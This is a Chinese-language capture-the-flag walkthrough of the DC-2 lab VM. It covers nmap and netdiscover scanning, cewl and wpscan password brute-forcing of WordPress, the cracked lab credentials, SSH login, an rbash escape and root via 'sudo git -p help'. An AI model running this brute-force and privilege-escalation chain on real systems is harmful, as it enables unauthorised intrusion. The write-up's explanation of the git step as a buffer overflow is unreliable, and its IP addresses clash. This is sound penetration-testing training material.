简介:DC靶场一共有9个,对于学习渗透测试人员,有很大的帮助,是非常不错的靶场。
1、下载靶场
靶机名称:DC-2(包含5个flag)
下载地址:
2、安装靶场
以DC-1为例,将文件解压(一压缩包形式进行下载)。
打开虚拟机,选择解压好的文件导入虚拟机( vof 版本高于4.0,点击重试即可导入)
| |
导入成功,开启此虚拟机( 当页面出现 DC-2 login 时表示安装成功)。
3、获取靶机的5个flag
前提:
1、已知kali的IP地址(ifconfig) —— kali IP地址:192.168.108.129/24 | 2、DC-2和kali在同一网段 | 已知DC-2所在的网段 —— DC-2 IP地址:192.168.130.131/24 |
3.1信息收集
获取DC-2的IP地址
命令:netdiscover -r 192.168.108.0/24
由图可知DC-2的IP地址是:192.168.108.131/24
端口扫描
命令:nmap -sV -p- 192.168.108.131
//-sV:扫描系统版本和程序版本号检测,-p-:全端口扫描
获取信息如下:
端口号 | 服务 | 版本 |
80 | http | apache 2.4.10 |
7744 | ssh | 6.7 |
使用工具(cmseek)对CMS进行识别,结果是识别不了,访问80端口一看原来是不能正常访问,原因是直接跳转到了http://dc-2/这个地址,直接修改kali的host文件,将这个域名绑定成靶机的地址(192.168.108.131)之后再次进行尝试
3.2 渗透测试
修改kali的host文件(文件所在地址为:/etc/hosts)
补充:
hosts文件的作用:系统中一个负责IP与域名快递解析的文件 | |
windows ——> C:\Windows\System32\drivers\etc\hosts | linux ——> /etc/hosts |
vim /etc/hosts #编辑host文件(添加 192.168.108.131 dc-2)
cat /etc/hosts #查看host文件(修改之后进行查看)
访问80端口,并重新识别CMS
CMS识别结果很惊喜啊,直接爆出了CVE漏洞(cve-2017-1000600),使用的是WordPress 4.9(很普遍存在的个人博客站点搭建CMS),存在一个通用的缺陷 CWE-20(输入验证不当,该漏洞可能导致远程代码执行)
CVE-2017-1000600 ——> WordPress <4.9 的版本在缩略图处理中包含一个 CWE-20 输入验证漏洞,该漏洞可能导致远程代码执行
前面在打开80端口的时候就已经获取到了flag1,flag1并没有隐藏起来就直接放在网站右下角的flag处
根据flag1的提示,我们需要使用一个名为 cewl(kali密码攻击工具,使用爬虫技术来生成密码)的武器进行账号密码的暴力破解
安装下载 cewl 工具(略)
使用 cewl 工具访问 http://dc-2/
./cewl.rb -o http://dc-2/ # -o:--offsite:让蜘蛛访问其他站点
之后前就生成了很多密码,将这些密码保存为我们用来爆破字典文件
./cewl.rb -o http://dc-2/ -w dc_2.txt # -w,--write:将输出写入文件
补充:
./cewl.rb -o http://dc-2 -m 6 # -m,--min_word_length:最小字长,默认为3。指定生成长度的字典,这条命令长度最小为6的单词
./cewl.rb -o http://dc-2 -c # -c,--count:显示找到的每个单词的计数。计算网站中单词出现的次数
./cewl.rb -o http://dc-2 -d 3 # -d <x>,-depth <x>:到蜘蛛的深度,默认为2。增加爬虫的爬取深度以生成更大的字典文件
使用wpscan扫描工具(kali自带的工具)来获取用户名,原因:wpscan是一款专门针对wordpress的工具
wpscan -h # 查看帮助信息
wpscan --update # 更新漏洞库
wpscan --url http://dc-2/ # 对指定URL进行WordPress漏洞扫描
没有显示什么有意思的东西,直接跑用户名吧
wpscan --url http://dc-2 --enumerate u # 扫描wordpress用户
结果如下:
可以看到跑出来了三个用户(admin、jerry、tom),然后将它们写入一个用户名字典
wpscan --url http://dc-2/ -U dc_2_zhanghao3.txt -P dc_2.txt # 指定字典暴力破解密码
爆破结果如下:
使用得到的用户名还有cewl得到的密码尝试爆破,成功爆破出两个账户密码
用户 | 密码 |
jerry | adipiscing |
tom | parturient |
使用获取到的账号密码去登录网站的管理后台,所以我们现在需要查询后台的登录地址
使用dirb(kali自带工具,基于字典的web目录扫描工具,可以查找现有和隐藏的Web对象)扫描http://dc-2/
dirb http://dc-2/ /usr/share/wordlists/dirb/big.txt #使用的字典路径是/usr/share/wordlists/dirb/big.txt
成功找到后台的登录目录:http://dc-2/wp-admin/
使用爆破的账户密码,登录成功之后全部点看查看了一下,发现flag2就藏在Pages里面(这里登录了两个账号,发现只有jerry的后台管理里面有Pages,果然在Pages里找到了flag2。账号密码:jerry、adipiscing)
flag2的提示:如果你不能利用WordPress并采取快捷方式,还有另一种方法,希望你能找到另一个切入点。
由于这里我们首先是要获取一个webshell或者getshell,从后台管理页面并没有发现继续的办法,结合flag2又想到了前面扫到的那个ssh服务,这个ssh服务端口号为7744(shell原端口号为22)
我们尝试用破解出来的后台密码连接ssh,最终只有tom可以登录
ssh jerry@192.168.108.131 -p 7744(显示Permission denied-许可被拒绝,猜测应该是相关的配置文件对该账号进行了ssh连接的限制,一般是针对root用户的)
ssh tom@192.168.108.131 -p 7744(登录成功)
在tom的家目录目录下找到了flag3(这里发现不能使用cat、find、vim,尝试了vi发现可以打开)
flag3提示:老汤姆总是在追杰瑞,也许他应该为他所造成的所有压力负责(根据提示,告诉我们jerry的权限比tom更高,要我们提权至jerry)
前面发现不能使用find、vim、cat的时候提示我们(-rbash: find: command not found)
这里补充两点:
1、在前面可以使用命令查看一下可以使用的命令
# 查看可用的命令有哪些。
echo $PATH # Linux查看PATH环境变量
echo /home/tom/usr/bin/* # 查看PATH环境变量里面都有什么可以执行的命令
2、rbash:restricted bash,即受限制的 bash。其可以用作中转服务器,或者仅使用 ssh 来访问网页等等。从上面可看到当前测试系统里的rbash实际上是bash的一个软链接。它与一般shell的区别在于会限制一些行为,让一些命令无法执行
rbash绕过(提权利用):
BASH_CMDS[a]=/bin/sh;a | // 切换shell |
/bin/bash | // 添加$PATH,cat和su都在/bin下,sudo在/usr/bin下 |
export PATH=PATH:/sbin:/bin | // |
之后就可以使用cat去查看flag3了
进行(su)切换用户提权
成功使用之前的得到的 jerry 用户的账号密码成功 su - 切换到jerry用户,并且发现可以 jerry 用户可以正常使用之前受限制的命令,并且成功从 jerry 的家目录下获取到 flag4
到这一步我们只剩下最终的flag了,在flag4中的最后一句提示里包含了一个git关机键字
这里用git提权,原理是git存在缓冲区溢出漏洞,在使用sudo git -p help时,不需要输入root密码即可以root权限执行这条命令。
sudo -l # -l 列出目前用户可执行与无法执行的指令。
sudo git -p help
!/bin/bash #输入!/bin/bash,即可打开一个用户为root的shell
最后在root的家目录下获取到最终的flag
点击
下方名片
,加入GG安全团队,期待师傅们的加入,一起学习一起成长。